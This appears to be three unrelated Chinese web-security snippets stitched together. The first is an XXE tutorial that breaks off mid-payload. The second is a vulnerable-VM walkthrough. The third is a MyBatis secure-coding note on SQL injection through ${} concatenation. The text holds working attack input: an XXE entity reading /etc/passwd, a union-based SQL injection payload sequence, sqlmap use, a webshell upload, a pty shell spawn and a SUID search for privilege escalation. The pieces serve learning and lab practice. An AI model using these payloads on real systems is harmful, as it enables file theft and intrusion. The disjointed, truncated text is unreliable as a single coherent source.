XML基础 危害 当XML允许引用外部实体并解析时,会导致攻击者构造恶意实体的payload进行攻注入攻击,导致攻击者可以读取任意文件、执行命令、端口探测、以及进行SSRF攻击等。 XML声明: <?xml version="1.0" encoding="utf-8"?> 内部DTD声明: <!DOCTYPE 根元素名称 [元素声明] > 外部实体声明: <!ENTITY 实体名称 SYSTEM "URI/URL"> 示例 <?xml version = "1.0" encoding="utf-8"?>//XML声明 <!DOCTYPE note [ <!ENTITY hacker "hello!">//外部实体声明 ]> <name>&hacker;</name>//解析实体 <?xml version="1.0"?> <!DOCTYPE a [ <!ENTITY b SYSTEM "file:///etc/passwd"> ]> <c>&b;</c> 漏洞利用 按照利用方式分类 利用方式一:直接通过DTD外部实体声明 <?xml version="1.0"?> <!DOCTYPE a [ <!

本靶机下载地址 开机 导入、主机发现及端口扫描(略) web页面 竟然带注册功能,注册账号–>登录 唯一的数据交互就是搜索框了,犹豫啥,看看有没有注入 嗯,存在搜索型注入 a%' and 1=1-- //True a%' and 1=2-- //Flase a%' order by 3-- //查找列数 a%' union select 1,2,3-- //查看回显位置 a%' union select database(),2,3-- //查看当前的数据,这里为webapphacking a%' union select table_name,2,3 from information_schema.tables -- //查看当前数据库的所有表 a%' union select column_name,2,3 from information_schema.columns where table_name='users' -- //常见某表的字段,这里以user为例 直接上sqlmap跑吧…. superadmin的秘密解密为Uncrackable 以该账号登录,发现有上传图片的功能 这里可以直接上传webshell,重点的接下来的提权 > 获取交互式的shell python -c 'import pty;pty.spawn("/bin/bash")' 搜索具有sudo权限的文件 find / -perm -u=s -type f 2>/dev/null 可以看到/home/legacy/touchmenot文件,具有sudo权限,执行它。

一、知识点:  MyBatis支持两种参数符号,一种是#,另一种是$。 在sql语句中使用like、in、order by时,程序员易使用不当直接sql语句拼接,造成SQL注入。 使用参数符号#时 <select id="selectPerson" parameterType="int" resultType="hashmap"> SELECT * FROM PERSON WHERE ID = #{id} </select>  MyBatis会创建一个预编译语句,生成的代码类似于 // Similar JDBC code, NOT MyBatis… String selectPerson = "SELECT * FROM PERSON WHERE ID=?"; PreparedStatement ps = conn.prepareStatement(selectPerson); ps.setInt(1,id);  参数会在SQL语句中用占位符”?”来标识,然后使用prepareStatement来预编译这个SQL语句,而用户提交的数据,只作为参数,不会被带入sql进行编译,从而防止了SQL注入漏洞的产生。 使用参数符号$时:  MyBatis直接用字符串拼接把参数和SQL语句拼接在一起,然后执行,这种情况非常危险,极容易产生SQL注入漏洞。 二、易产生SQL注入漏洞的情况 主要分为以下三种: 模糊查询like  以按照标题进行模糊查询为例,如果考虑安全编码规范问题,其对应的SQL语句如下: select * from news where title like '%#{title}%'  但由于这样写程序会报错,所以一般将SQL查询语句修改如下: select * from news where title like '%${title}%'  在这种情况下程序不再报错,但是此时产生了SQL语句拼接问题,如果java代码层面没有对用户输入的内容做处理势必会产生SQL注入漏洞。